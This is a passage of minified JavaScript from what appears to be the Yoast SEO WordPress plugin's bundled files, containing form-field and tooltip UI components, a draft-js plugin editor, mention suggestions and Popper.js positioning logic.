0:u.message)&&l().createElement(x,{variant:null==u?void 0:u.variant,id:f.validation,className:"yst-text-field__validation"},u.message),d&&l().createElement("p",{id:f.description,className:"yst-text-field__description"},d))}));Us.displayName="TextField",Us.propTypes={id:o().string.isRequired,onChange:o().func.isRequired,label:o().string.isRequired,labelSuffix:o().node,disabled:o().bool,readOnly:o().bool,className:o().string,description:o().node,validation:o().shape({variant:o().string,message:o().node})},Us.defaultProps={labelSuffix:null,disabled:!1,readOnly:!1,className:"",description:null,validation:{}};const Ws=Us,Ks=(0,i.forwardRef)((({id:t,label:n,className:a="",description:s="",validation:o={},disabled:i,readOnly:c,...d},u)=>{const{ids:p,describedBy:m}=wa(t,{validation:null==o?void 0:o.message,description:s});return l().createElement("div",{className:r()("yst-textarea-field",i&&"yst-textarea-field--disabled",c&&"yst-textarea-field--read-only",a)},l().createElement("div",{className:"yst-flex yst-items-center yst-mb-2"},l().createElement(zt,{className:"yst-textarea-field__label",htmlFor:t},n)),l().createElement(Rt,e({as:Yn,ref:u,id:t,className:"yst-textarea-field__input","aria-describedby":m,validation:o,disabled:i,readOnly:c},d)),(null==o?void 0:o.message)&&l().createElement(x,{variant:null==o?void 0:o.variant,id:p.validation,className:"yst-textarea-field__validation"},o.message),s&&l().createElement("p",{id:p.description,className:"yst-textarea-field__description"},s))}));Ks.displayName="TextareaField",Ks.propTypes={id:o().string.isRequired,label:o().string.isRequired,className:o().string,description:o().node,disabled:o().bool,readOnly:o().bool,validation:o().shape({variant:o().string,message:o().node})},Ks.defaultProps={className:"",description:null,disabled:!1,readOnly:!1,validation:{}};const Gs=Ks,Qs=(0,i.forwardRef)((({id:t,children:n,label:a,labelSuffix:s,description:o,checked:i,disabled:c,onChange:d,className:u,"aria-label":p,...m},f)=>l().createElement(ga.Group,{as:"div",className:r()("yst-toggle-field",c&&"yst-toggle-field--disabled",u)},l().createElement("div",{className:"yst-toggle-field__header"},a&&l().createElement("div",{className:"yst-toggle-field__label-wrapper"},l().createElement(zt,{as:ga.Label,className:"yst-toggle-field__label",label:a,"aria-label":p}),s),l().createElement(Na,e({id:t,ref:f,checked:i,onChange:d,screenReaderLabel:a,disabled:c},m))),(o||n)&&l().createElement(ga.Description,{as:"div",className:"yst-toggle-field__description"},o||n))));Qs.displayName="ToggleField",Qs.propTypes={id:o().string.isRequired,children:o().node,label:o().string.isRequired,labelSuffix:o().node,description:o().node,checked:o().bool.isRequired,disabled:o().bool,onChange:o().func.isRequired,className:o().string,"aria-label":o().string},Qs.defaultProps={children:null,labelSuffix:null,description:null,disabled:!1,className:"","aria-label":null};const Ys=Qs,Zs=(0,i.createContext)({isVisible:!1,show:c.noop,hide:c.noop}),Xs=()=>(0,i.useContext)(Zs),Js=({as:e="span",className:t,children:n})=>{const[a,,,s,o]=Ba(!1),c=(0,i.useCallback)((e=>{"Escape"===e.key&&a&&(o(),e.stopPropagation())}),[a,o]);return l().createElement(Zs.Provider,{value:{isVisible:a,show:s,hide:o}},l().createElement(e,{className:r()("yst-tooltip-container",t),onKeyDown:c},n))};Js.propTypes={as:o().elementType,children:o().node,className:o().string};const eo=({as:t="button",className:n,children:a,ariaDescribedby:s,...o})=>{const{show:i}=Xs();return l().createElement(t,e({className:r()("yst-tooltip-trigger",n),onFocus:i,onMouseEnter:i,"aria-describedby":s,"aria-disabled":!0},o),a)};eo.propTypes={as:o().elementType,children:o().node,className:o().string,ariaDescribedby:o().string};const to=({className:t,children:n,...a})=>{const{isVisible:s}=Xs();return l().createElement(Ra,e({className:r()(t,{"yst-hidden":!s})},a),n)};to.propTypes={className:o().string,children:o().node};const no=(e,t=!0)=>{const n=(0,i.useCallback)((e=>((e||window.event).returnValue=t,t)),[t]);(0,i.useEffect)((()=>(e&&window.addEventListener("beforeunload",n),()=>window.removeEventListener("beforeunload",n))),[e,n])},ao=(e,t)=>{(0,i.useEffect)((()=>(t.addEventListener("keydown",e),()=>{t.removeEventListener("keydown",e)})),[e])},ro=e=>{const t=(0,i.useRef)(e);return(0,i.useEffect)((()=>{t.current=e}),[e]),t.current},so=()=>(0,i.useContext)(hs),oo=e=>{const t=(0,i.useMemo)((()=>window.matchMedia(e)),[e]),[n,a]=(0,i.useState)(t.matches),r=(0,i.useCallback)((e=>{a(e.matches)}),[a]);return(0,i.useEffect)((()=>(t.addEventListener("change",r),()=>{t.removeEventListener("change",r)})),[t,r]),{matches:n}}})(),(window.yoast=window.yoast||{}).uiLibrary=a})();wordpress-seo/js/dist/externals/replacementVariableEditor.js000064400000571762147510273070020446 0ustar00(()=>{var t={37166:(t,e,n)=>{"use strict";n.r(e),n.d(e,{composeDecorators:()=>w,createEditorStateWithText:()=>b,default:()=>S});var r=n(7206),i=n(99196),o=n.n(i),s=n(85890),a=n.n(s),u=n(43393),c=n.n(u);function f(){return f=Object.assign||function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(t[r]=n[r])}return t},f.apply(this,arguments)}function l(t,e){if(null==t)return{};var n,r,i={},o=Object.keys(t);for(r=0;r<o.length;r++)n=o[r],e.indexOf(n)>=0||(i[n]=t[n]);return i}function h(t){var e=t.getCurrentContent().getBlockMap(),n=e.last().getKey(),i=e.last().getLength(),o=new r.SelectionState({anchorKey:n,anchorOffset:i,focusKey:n,focusOffset:i});return r.EditorState.acceptSelection(t,o)}var p="-",d=function(){function t(t){this.decorators=void 0,this.decorators=c().List(t)}var e=t.prototype;return e.getDecorations=function(t,e){var n=new Array(t.getText().length).fill(null);return this.decorators.forEach((function(r,i){r.getDecorations(t,e).forEach((function(t,e){t&&(n[e]=i+p+t)}))})),c().List(n)},e.getComponentForKey=function(e){return this.getDecoratorForKey(e).getComponentForKey(t.getInnerKey(e))},e.getPropsForKey=function(e){return this.getDecoratorForKey(e).getPropsForKey(t.getInnerKey(e))},e.getDecoratorForKey=function(t){var e=t.split(p),n=Number(e[0]);return this.decorators.get(n)},t.getInnerKey=function(t){return t.split(p).slice(1).join(p)},t}(),v=function(t){return"function"==typeof t.getDecorations&&"function"==typeof t.getComponentForKey&&"function"==typeof t.getPropsForKey};function _(t){return(0,r.getDefaultKeyBinding)(t)}function y(t,e,n,i){var o,s=i.setEditorState;switch(t){case"backspace":case"backspace-word":case"backspace-to-start-of-line":o=r.RichUtils.onBackspace(e);break;case"delete":case"delete-word":case"delete-to-end-of-block":o=r.RichUtils.onDelete(e);break;default:return"not-handled"}return null!=o?(s(o),"handled"):"not-handled"}var g=function(t){var e,n;return null!=(null==t?void 0:t.decorators)?null==(e=t.decorators)?void 0:e.size:null!=(null==t?void 0:t._decorators)?null==(n=t._decorators)?void 0:n.length:void 0},m=function(t){var e,n;function i(e){var n;return(n=t.call(this,e)||this).editor=null,n.state={readOnly:!1},n.onChange=function(t){var e=t;n.resolvePlugins().forEach((function(t){t.onChange&&(e=t.onChange(e,n.getPluginMethods()))})),n.props.onChange&&n.props.onChange(e)},n.getPlugins=function(){return[].concat(n.props.plugins)},n.getProps=function(){return f({},n.props)},n.getReadOnly=function(){return n.props.readOnly||n.state.readOnly},n.setReadOnly=function(t){t!==n.state.readOnly&&n.setState({readOnly:t})},n.getEditorRef=function(){return n.editor},n.getEditorState=function(){return n.props.editorState},n.getPluginMethods=function(){return{getPlugins:n.getPlugins,getProps:n.getProps,setEditorState:n.onChange,getEditorState:n.getEditorState,getReadOnly:n.getReadOnly,setReadOnly:n.setReadOnly,getEditorRef:n.getEditorRef}},n.createPluginHooks=function(){return t=[n.props].concat(n.resolvePlugins()),e=n.getPluginMethods(),r={},i=new Set(["onChange"]),t.forEach((function(n){Object.keys(n).forEach((function(n){i.has(n)||(i.add(n),n.startsWith("on")?r[n]=function(t,e,n){return function(){for(var r=arguments.length,i=new Array(r),o=0;o<r;o++)i[o]=arguments[o];return e.some((function(e){var r=e[t];return"function"==typeof r&&!0===r.apply(void 0,i.concat([n]))}))}}(n,t,e):n.startsWith("handle")?r[n]=function(t,e,n){return function(){for(var r=arguments.length,i=new Array(r),o=0;o<r;o++)i[o]=arguments[o];return e.some((function(e){var r=e[t];return"function"==typeof r&&"handled"===r.apply(void 0,i.concat([n]))}))?"handled":"not-handled"}}(n,t,e):n.endsWith("Fn")&&("blockRendererFn"===n?r.blockRendererFn=function(t,e){return function(n){var r={props:{}};return t.forEach((function(t){if("function"==typeof t.blockRendererFn){var i=t.blockRendererFn(n,e);if(null!=i){var o=i.props,s=l(i,["props"]),a=r,u=a.props,c=l(a,["props"]);r=f({},c,s,{props:f({},u,o)})}}})),!!r.component&&r}}(t,e):"blockStyleFn"===n?r.blockStyleFn=function(t,e){return function(n){var r=[];return t.forEach((function(t){if("function"==typeof t.blockStyleFn){var i=t.blockStyleFn(n,e);null!=i&&r.push(i)}})),r.join(" ")}}(t,e):"customStyleFn"===n?r.customStyleFn=function(t,e){return function(n,r){var i;return t.some((function(t){return"function"==typeof t.customStyleFn&&void 0!==(i=t.customStyleFn(n,r,e))}))&&i?i:{}}}(t,e):"keyBindingFn"===n&&(r.keyBindingFn=function(t,e){return function(n){var r=null;return t.some((function(t){return"function"==typeof t.keyBindingFn&&void 0!==(r=t.keyBindingFn(n,e))}))?r:null}}(t,e))))}))})),r;var t,e,r,i},n.resolvePlugins=function(){var t=n.getPlugins();return!0===n.props.defaultKeyBindings&&t.push({keyBindingFn:_}),!0===n.props.defaultKeyCommands&&t.push({handleKeyCommand:y}),t},n.resolveCustomStyleMap=function(){return n.props.plugins.filter((function(t){return void 0!==t.customStyleMap})).map((function(t){return t.customStyleMap})).concat([n.props.customStyleMap]).reduce((function(t,e){return f({},t,e)}),{})},n.resolveblockRenderMap=function(){var t=n.props.plugins.filter((function(t){return void 0!==t.blockRenderMap})).reduce((function(t,e){return t.merge(e.blockRenderMap)}),(0,u.Map)({}));return n.props.defaultBlockRenderMap&&(t=r.DefaultDraftBlockRenderMap.merge(t)),n.props.blockRenderMap&&(t=t.merge(n.props.blockRenderMap)),t},n.resolveAccessibilityProps=function(){var t={};return n.resolvePlugins().forEach((function(e){if("function"==typeof e.getAccessibilityProps){var n=e.getAccessibilityProps(),r={};void 0===t.ariaHasPopup?r.ariaHasPopup=n.ariaHasPopup:"true"===n.ariaHasPopup&&(r.ariaHasPopup="true"),void 0===t.ariaExpanded?r.ariaExpanded=n.ariaExpanded:!0===n.ariaExpanded&&(r.ariaExpanded=!0),t=f({},t,n,r)}})),t},[n.props].concat(n.resolvePlugins()).forEach((function(t){t&&"function"==typeof t.initialize&&t.initialize(n.getPluginMethods())})),n}n=t,(e=i).prototype=Object.create(n.prototype),e.prototype.constructor=e,e.__proto__=n;var s=i.prototype;return s.focus=function(){this.editor&&this.editor.focus()},s.blur=function(){this.editor&&this.editor.blur()},s.componentDidMount=function(){var t,e,n,i,s,a,c=(t=this.props,e=this.getEditorState,n=this.onChange,i=function(t){var e=t.decorators,n=t.plugins,r=void 0===n?[]:n;return(0,u.List)([{decorators:e}].concat(r)).filter((function(t){return void 0!==(null==t?void 0:t.decorators)})).flatMap((function(t){return null==t?void 0:t.decorators}))}(t),s=function(t,e,n){var i=(0,u.List)(t).map((function(t){var r=t.component;return f({},t,{component:function(t){return o().createElement(r,f({},t,{getEditorState:e,setEditorState:n}))}})})).toJS();return new r.CompositeDecorator(i)}(i.filter((function(t){return!v(t)})),e,n),a=i.filter((function(t){return v(t)})),new d(a.push(s))),l=r.EditorState.set(this.props.editorState,{decorator:c});this.onChange(h(l))},s.componentDidUpdate=function(t){var e=this.props,n=t.editorState.getDecorator(),i=e.editorState.getDecorator();if(n&&!(n===i||n&&i&&g(n)===g(i))){var o=r.EditorState.set(e.editorState,{decorator:n});this.onChange(h(o))}},s.componentWillUnmount=function(){var t=this;this.resolvePlugins().forEach((function(e){e.willUnmount&&e.willUnmount({getEditorState:t.getEditorState,setEditorState:t.onChange})}))},s.render=function(){var t=this,e=this.createPluginHooks(),n=this.resolveCustomStyleMap(),i=this.resolveAccessibilityProps(),s=this.resolveblockRenderMap(),a=this.props;a.keyBindingFn;var u=l(a,["keyBindingFn"]);return o().createElement(r.Editor,f({},u,i,e,{readOnly:this.props.readOnly||this.state.readOnly,customStyleMap:n,blockRenderMap:s,onChange:this.onChange,editorState:this.props.editorState,ref:function(e){t.editor=e}}))},i}(i.Component);m.propTypes={editorState:a().object.isRequired,onChange:a().func.isRequired,plugins:a().array,defaultKeyBindings:a().bool,defaultKeyCommands:a().bool,defaultBlockRenderMap:a().bool,customStyleMap:a().object,decorators:a().array},m.defaultProps={defaultBlockRenderMap:!0,defaultKeyBindings:!0,defaultKeyCommands:!0,customStyleMap:{},plugins:[],decorators:[]};var b=function(t){return r.EditorState.createWithText?r.EditorState.createWithText(t):r.EditorState.createWithContent(r.ContentState.createFromText(t))},w=function(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];if(0===e.length)return function(t){return t};if(1===e.length)return e[0];var r=e[e.length-1];return function(){for(var t=r.apply(void 0,arguments),n=e.length-2;n>=0;n-=1)t=(0,e[n])(t);return t}};const S=m},95423:(t,e,n)=>{"use strict";n.r(e),n.d(e,{MentionSuggestions:()=>Jt,addMention:()=>Pt,default:()=>te,defaultSuggestionsFilter:()=>ee,defaultTheme:()=>Xt});var r=n(43393),i=n(99196),o=n.n(i);function s(t){var e,n,r="";if("string"==typeof t||"number"==typeof t)r+=t;else if("object"==typeof t)if(Array.isArray(t))for(e=0;e<t.length;e++)t[e]&&(n=s(t[e]))&&(r&&(r+=" "),r+=n);else for(e in t)t[e]&&(r&&(r+=" "),r+=e);return r}function a(){for(var t,e,n=0,r="";n<arguments.length;)(t=arguments[n++])&&(e=s(t))&&(r&&(r+=" "),r+=e);return r}var u=n(85890),c=n.n(u),f=n(7206);const l=window.lodash.escapeRegExp;var h=n.n(l);function p(t){if(null==t)return window;if("[object Window]"!==t.toString()){var e=t.ownerDocument;return e&&e.defaultView||window}return t}function d(t){return t instanceof p(t).Element||t instanceof Element}function v(t){return t instanceof p(t).HTMLElement||t instanceof HTMLElement}function _(t){return"undefined"!=typeof ShadowRoot&&(t instanceof p(t).ShadowRoot||t instanceof ShadowRoot)}var y=Math.max,g=Math.min,m=Math.round;function b(t,e){void 0===e&&(e=!1);var n=t.getBoundingClientRect(),r=1,i=1;if(v(t)&&e){var o=t.offsetHeight,s=t.offsetWidth;s>0&&(r=m(n.width)/s||1),o>0&&(i=m(n.height)/o||1)}return{width:n.width/r,height:n.height/i,top:n.top/i,right:n.right/r,bottom:n.bottom/i,left:n.left/r,x:n.left/r,y:n.top/i}}function w(t){var e=p(t);return{scrollLeft:e.pageXOffset,scrollTop:e.pageYOffset}}function S(t){return t?(t.nodeName||"").toLowerCase():null}function E(t){return((d(t)?t.ownerDocument:t.document)||window.document).documentElement}function O(t){return b(E(t)).left+w(t).scrollLeft}function x(t){return p(t).getComputedStyle(t)}function I(t){var e=x(t),n=e.overflow,r=e.overflowX,i=e.overflowY;return/auto|scroll|overlay|hidden/.test(n+i+r)}function z(t,e,n){void 0===n&&(n=!1);var r,i,o=v(e),s=v(e)&&function(t){var e=t.getBoundingClientRect(),n=m(e.width)/t.offsetWidth||1,r=m(e.height)/t.offsetHeight||1;return 1!==n||1!==r}(e),a=E(e),u=b(t,s),c={scrollLeft:0,scrollTop:0},f={x:0,y:0};return(o||!o&&!n)&&(("body"!==S(e)||I(a))&&(c=(r=e)!==p(r)&&v(r)?{scrollLeft:(i=r).scrollLeft,scrollTop:i.scrollTop}:w(r)),v(e)?((f=b(e,!0)).x+=e.clientLeft,f.y+=e.clientTop):a&&(f.x=O(a))),{x:u.left+c.scrollLeft-f.x,y:u.top+c.scrollTop-f.y,width:u.width,height:u.height}}function M(t){var e=b(t),n=t.offsetWidth,r=t.offsetHeight;return Math.abs(e.width-n)<=1&&(n=e.width),Math.abs(e.height-r)<=1&&(r=e.height),{x:t.offsetLeft,y:t.offsetTop,width:n,height:r}}function C(t){return"html"===S(t)?t:t.assignedSlot||t.parentNode||(_(t)?t.host:null)||E(t)}function D(t){return["html","body","#document"].indexOf(S(t))>=0?t.ownerDocument.body:v(t)&&I(t)?t:D(C(t))}function k(t,e){var n;void 0===e&&(e=[]);var r=D(t),i=r===(null==(n=t.ownerDocument)?void 0:n.body),o=p(r),s=i?[o].concat(o.visualViewport||[],I(r)?r:[]):r,a=e.concat(s);return i?a:a.concat(k(C(s)))}function R(t){return["table","td","th"].indexOf(S(t))>=0}function A(t){return v(t)&&"fixed"!==x(t).position?t.offsetParent:null}function q(t){for(var e=p(t),n=A(t);n&&R(n)&&"static"===x(n).position;)n=A(n);return n&&("html"===S(n)||"body"===S(n)&&"static"===x(n).position)?e:n||function(t){var e=-1!==navigator.userAgent.toLowerCase().indexOf("firefox");if(-1!==navigator.userAgent.indexOf("Trident")&&v(t)&&"fixed"===x(t).position)return null;for(var n=C(t);v(n)&&["html","body"].indexOf(S(n))<0;){var r=x(n);if("none"!==r.transform||"none"!==r.perspective||"paint"===r.contain||-1!==["transform","perspective"].indexOf(r.willChange)||e&&"filter"===r.willChange||e&&r.filter&&"none"!==r.filter)return n;n=n.parentNode}return null}(t)||e}var j="top",P="bottom",B="right",T="left",F="auto",K=[j,P,B,T],V="start",L="end",U="viewport",W="popper",N=K.reduce((function(t,e){return t.concat([e+"-"+V,e+"-"+L])}),[]),H=[].concat(K,[F]).reduce((function(t,e){return t.concat([e,e+"-"+V,e+"-"+L])}),[]),J=["beforeRead","read","afterRead","beforeMain","main","afterMain","beforeWrite","write","afterWrite"];function $(t){var e=new Map,n=new Set,r=[];function i(t){n.add(t.name),[].concat(t.requires||[],t.requiresIfExists||[]).forEach((function(t){if(!n.has(t)){var r=e.get(t);r&&i(r)}})),r.push(t)}return t.forEach((function(t){e.set(t.name,t)})),t.forEach((function(t){n.has(t.name)||i(t)})),r}var Y={placement:"bottom",modifiers:[],strategy:"absolute"};function X(){for(var t=arguments.length,e=new Array(t),n=0;n<t;n++)e[n]=arguments[n];return!e.some((function(t){return!(t&&"function"==typeof t.getBoundingClientRect)}))}function G(t){void 0===t&&(t={});var e=t,n=e.defaultModifiers,r=void 0===n?[]:n,i=e.defaultOptions,o=void 0===i?Y:i;return function(t,e,n){void 0===n&&(n=o);var i,s,a={placement:"bottom",orderedModifiers:[],options:Object.assign({},Y,o),modifiersData:{},elements:{reference:t,popper:e},attributes:{},styles:{}},u=[],c=!1,f={state:a,setOptions:function(n){var i="function"==typeof n?n(a.options):n;l(),a.options=Object.assign({},o,a.options,i),a.scrollParents={reference:d(t)?k(t):t.contextElement?k(t.contextElement):[],popper:k(e)};var s,c,h=function(t){var e=$(t);return J.reduce((function(t,n){return t.concat(e.filter((function(t){return t.phase===n})))}),[])}((s=[].concat(r,a.options.modifiers),c=s.reduce((function(t,e){var n=t[e.name];return t[e.name]=n?Object.assign({},n,e,{options:Object.assign({},n.options,e.options),data:Object.assign({},n.data,e.data)}):e,t}),{}),Object.keys(c).map((function(t){return c[t]}))));return a.orderedModifiers=h.filter((function(t){return t.enabled})),a.orderedModifiers.forEach((function(t){var e=t.name,n=t.options,r=void 0===n?{}:n,i=t.effect;if("function"==typeof i){var o=i({state:a,name:e,instance:f,options:r});u.push(o||function(){})}})),f.update()},forceUpdate:function(){if(!c){var t=a.elements,e=t.reference,n=t.popper;if(X(e,n)){a.rects={reference:z(e,q(n),"fixed"===a.options.strategy),popper:M(n)},a.reset=!1,a.placement=a.options.placement,a.orderedModifiers.forEach((function(t){return a.modifiersData[t.name]=Object.assign({},t.data)}));for(var r=0;r<a.orderedModifiers.length;r++)if(!0!==a.reset){var i=a.orderedModifiers[r],o=i.fn,s=i.options,u=void 0===s?{}:s,l=i.name;"function"==typeof o&&(a=o({state:a,options:u,name:l,instance:f})||a)}else a.reset=!1,r=-1}}},update:(i=function(){return new Promise((function(t){f.forceUpdate(),t(a)}))},function(){return s||(s=new Promise((function(t){Promise.resolve().then((function(){s=void 0,t(i())}))}))),s}),destroy:function(){l(),c=!0}};if(!X(t,e))return f;function l(){u.forEach((function(t){return t()})),u=[]}return f.setOptions(n).then((function(t){!c&&n.onFirstUpdate&&n.onFirstUpdate(t)})),f}}var Q={passive:!0};function Z(t){return t.split("-")[0]}function tt(t){return t.split("-")[1]}function et(t){return["top","bottom"].indexOf(t)>=0?"x":"y"}function nt(t){var e,n=t.reference,r=t.element,i=t.placement,o=i?Z(i):null,s=i?tt(i):null,a=n.x+n.width/2-r.width/2,u=n.y+n.height/2-r.height/2;switch(o){case j:e={x:a,y:n.y-r.height};break;case P:e={x:a,y:n.y+n.height};break;case B:e={x:n.x+n.width,y:u};break;case T:e={x:n.x-r.width,y:u};break;default:e={x:n.x,y:n.y}}var c=o?et(o):null;if(null!=c){var f="y"===c?"height":"width";switch(s){case V:e[c]=e[c]-(n[f]/2-r[f]/2);break;case L:e[c]=e[c]+(n[f]/2-r[f]/2)}}return e}var rt={top:"auto",right:"auto",bottom:"auto",left:"auto"};function it(t){var e,n=t.popper,r=t.popperRect,i=t.placement,o=t.variation,s=t.offsets,a=t.position,u=t.gpuAcceleration,c=t.adaptive,f=t.roundOffsets,l=t.isFixed,h=!0===f?function(t){var e=t.x,n=t.y,r=window.devicePixelRatio||1;return{x:m(e*r)/r||0,y:m(n*r)/r||0}}(s):"function"==typeof f?f(s):s,d=h.x,v=void 0===d?0:d,_=h.y,y=void 0===_?0:_,g=s.hasOwnProperty("x"),b=s.hasOwnProperty("y"),w=T,S=j,O=window;if(c){var I=q(n),z="clientHeight",M="clientWidth";I===p(n)&&"static"!==x(I=E(n)).position&&"absolute"===a&&(z="scrollHeight",M="scrollWidth"),(i===j||(i===T||i===B)&&o===L)&&(S=P,y-=(l&&O.visualViewport?O.visualViewport.height:I[z])-r.height,y*=u?1:-1),i!==T&&(i!==j&&i!==P||o!==L)||(w=B,v-=(l&&O.visualViewport?O.visualViewport.width:I[M])-r.width,v*=u?1:-1)}var C,D=Object.assign({position:a},c&&rt);return u?Object.assign({},D,((C={})[S]=b?"0":"",C[w]=g?"0":"",C.transform=(O.devicePixelRatio||1)<=1?"translate("+v+"px, "+y+"px)":"translate3d("+v+"px, "+y+"px, 0)",C)):Object.assign({},D,((e={})[S]=b?y+"px":"",e[w]=g?v+"px":"",e.transform="",e))}var ot={left:"right",right:"left",bottom:"top",top:"bottom"};function st(t){return t.replace(/left|right|bottom|top/g,(function(t){return ot[t]}))}var at={start:"end",end:"start"};function ut(t){return t.replace(/start|end/g,(function(t){return at[t]}))}function ct(t,e){var n=e.getRootNode&&e.getRootNode();if(t.contains(e))return!0;if(n&&_(n)){var r=e;do{if(r&&t.isSameNode(r))return!0;r=r.parentNode||r.host}while(r)}return!1}function ft(t){return Object.assign({},t,{left:t.x,top:t.y,right:t.x+t.width,bottom:t.y+t.height})}function lt(t,e){return e===U?ft(function(t){var e=p(t),n=E(t),r=e.visualViewport,i=n.clientWidth,o=n.clientHeight,s=0,a=0;return r&&(i=r.width,o=r.height,/^((?!chrome|android).)*safari/i.test(navigator.userAgent)||(s=r.offsetLeft,a=r.offsetTop)),{width:i,height:o,x:s+O(t),y:a}}(t)):d(e)?function(t){var e=b(t);return e.top=e.top+t.clientTop,e.left=e.left+t.clientLeft,e.bottom=e.top+t.clientHeight,e.right=e.left+t.clientWidth,e.width=t.clientWidth,e.height=t.clientHeight,e.x=e.left,e.y=e.top,e}(e):ft(function(t){var e,n=E(t),r=w(t),i=null==(e=t.ownerDocument)?void 0:e.body,o=y(n.scrollWidth,n.clientWidth,i?i.scrollWidth:0,i?i.clientWidth:0),s=y(n.scrollHeight,n.clientHeight,i?i.scrollHeight:0,i?i.clientHeight:0),a=-r.scrollLeft+O(t),u=-r.scrollTop;return"rtl"===x(i||n).direction&&(a+=y(n.clientWidth,i?i.clientWidth:0)-o),{width:o,height:s,x:a,y:u}}(E(t)))}function ht(t){return Object.assign({},{top:0,right:0,bottom:0,left:0},t)}function pt(t,e){return e.reduce((function(e,n){return e[n]=t,e}),{})}function dt(t,e){void 0===e&&(e={});var n=e,r=n.placement,i=void 0===r?t.placement:r,o=n.boundary,s=void 0===o?"clippingParents":o,a=n.rootBoundary,u=void 0===a?U:a,c=n.elementContext,f=void 0===c?W:c,l=n.altBoundary,h=void 0!==l&&l,p=n.padding,_=void 0===p?0:p,m=ht("number"!=typeof _?_:pt(_,K)),w=f===W?"reference":W,O=t.rects.popper,I=t.elements[h?w:f],z=function(t,e,n){var r="clippingParents"===e?function(t){var e=k(C(t)),n=["absolute","fixed"].indexOf(x(t).position)>=0,r=n&&v(t)?q(t):t;return d(r)?e.filter((function(t){return d(t)&&ct(t,r)&&"body"!==S(t)&&(!n||"static"!==x(t).position)})):[]}(t):[].concat(e),i=[].concat(r,[n]),o=i[0],s=i.reduce((function(e,n){var r=lt(t,n);return e.top=y(r.top,e.top),e.right=g(r.right,e.right),e.bottom=g(r.bottom,e.bottom),e.left=y(r.left,e.left),e}),lt(t,o));return s.width=s.right-s.left,s.height=s.bottom-s.top,s.x=s.left,s.y=s.top,s}(d(I)?I:I.contextElement||E(t.elements.popper),s,u),M=b(t.elements.reference),D=nt({reference:M,element:O,strategy:"absolute",placement:i}),R=ft(Object.assign({},O,D)),A=f===W?R:M,T={top:z.top-A.top+m.top,bottom:A.bottom-z.bottom+m.bottom,left:z.left-A.left+m.left,right:A.right-z.right+m.right},F=t.modifiersData.offset;if(f===W&&F){var V=F[i];Object.keys(T).forEach((function(t){var e=[B,P].indexOf(t)>=0?1:-1,n=[j,P].indexOf(t)>=0?"y":"x";T[t]+=V[n]*e}))}return T}function vt(t,e,n){return y(t,g(e,n))}function _t(t,e,n){return void 0===n&&(n={x:0,y:0}),{top:t.top-e.height-n.y,right:t.right-e.width+n.x,bottom:t.bottom-e.height+n.y,left:t.left-e.width-n.x}}function yt(t){return[j,B,P,T].some((function(e){return t[e]>=0}))}var gt=G({defaultModifiers:[{name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(t){var e=t.state,n=t.instance,r=t.options,i=r.scroll,o=void 0===i||i,s=r.resize,a=void 0===s||s,u=p(e.elements.popper),c=[].concat(e.scrollParents.reference,e.scrollParents.popper);return o&&c.forEach((function(t){t.addEventListener("scroll",n.update,Q)})),a&&u.addEventListener("resize",n.update,Q),function(){o&&c.forEach((function(t){t.removeEventListener("scroll",n.update,Q)})),a&&u.removeEventListener("resize",n.update,Q)}},data:{}},{name:"popperOffsets",enabled:!0,phase:"read",fn:function(t){var e=t.state,n=t.name;e.modifiersData[n]=nt({reference:e.rects.reference,element:e.rects.popper,strategy:"absolute",placement:e.placement})},data:{}},{name:"computeStyles",enabled:!0,phase:"beforeWrite",fn:function(t){var e=t.state,n=t.options,r=n.gpuAcceleration,i=void 0===r||r,o=n.adaptive,s=void 0===o||o,a=n.roundOffsets,u=void 0===a||a,c={placement:Z(e.placement),variation:tt(e.placement),popper:e.elements.popper,popperRect:e.rects.popper,gpuAcceleration:i,isFixed:"fixed"===e.options.strategy};null!=e.modifiersData.popperOffsets&&(e.styles.popper=Object.assign({},e.styles.popper,it(Object.assign({},c,{offsets:e.modifiersData.popperOffsets,position:e.options.strategy,adaptive:s,roundOffsets:u})))),null!=e.modifiersData.arrow&&(e.styles.arrow=Object.assign({},e.styles.arrow,it(Object.assign({},c,{offsets:e.modifiersData.arrow,position:"absolute",adaptive:!1,roundOffsets:u})))),e.attributes.popper=Object.assign({},e.attributes.popper,{"data-popper-placement":e.placement})},data:{}},{name:"applyStyles",enabled:!0,phase:"write",fn:function(t){var e=t.state;Object.keys(e.elements).forEach((function(t){var n=e.styles[t]||{},r=e.attributes[t]||{},i=e.elements[t];v(i)&&S(i)&&(Object.assign(i.style,n),Object.keys(r).forEach((function(t){var e=r[t];!1===e?i.removeAttribute(t):i.setAttribute(t,!0===e?"":e)})))}))},effect:function(t){var e=t.state,n={popper:{position:e.options.strategy,left:"0",top:"0",margin:"0"},arrow:{position:"absolute"},reference:{}};return Object.assign(e.elements.popper.style,n.popper),e.styles=n,e.elements.arrow&&Object.assign(e.elements.arrow.style,n.arrow),function(){Object.keys(e.elements).forEach((function(t){var r=e.elements[t],i=e.attributes[t]||{},o=Object.keys(e.styles.hasOwnProperty(t)?e.styles[t]:n[t]).reduce((function(t,e){return t[e]="",t}),{});v(r)&&S(r)&&(Object.assign(r.style,o),Object.keys(i).forEach((function(t){r.removeAttribute(t)})))}))}},requires:["computeStyles"]},{name:"offset",enabled:!0,phase:"main",requires:["popperOffsets"],fn:function(t){var e=t.state,n=t.options,r=t.name,i=n.offset,o=void 0===i?[0,0]:i,s=H.reduce((function(t,n){return t[n]=function(t,e,n){var r=Z(t),i=[T,j].indexOf(r)>=0?-1:1,o="function"==typeof n?n(Object.assign({},e,{placement:t})):n,s=o[0],a=o[1];return s=s||0,a=(a||0)*i,[T,B].indexOf(r)>=0?{x:a,y:s}:{x:s,y:a}}(n,e.rects,o),t}),{}),a=s[e.placement],u=a.x,c=a.y;null!=e.modifiersData.popperOffsets&&(e.modifiersData.popperOffsets.x+=u,e.modifiersData.popperOffsets.y+=c),e.modifiersData[r]=s}},{name:"flip",enabled:!0,phase:"main",fn:function(t){var e=t.state,n=t.options,r=t.name;if(!e.modifiersData[r]._skip){for(var i=n.mainAxis,o=void 0===i||i,s=n.altAxis,a=void 0===s||s,u=n.fallbackPlacements,c=n.padding,f=n.boundary,l=n.rootBoundary,h=n.altBoundary,p=n.flipVariations,d=void 0===p||p,v=n.allowedAutoPlacements,_=e.options.placement,y=Z(_),g=u||(y!==_&&d?function(t){if(Z(t)===F)return[];var e=st(t);return[ut(t),e,ut(e)]}(_):[st(_)]),m=[_].concat(g).reduce((function(t,n){return t.concat(Z(n)===F?function(t,e){void 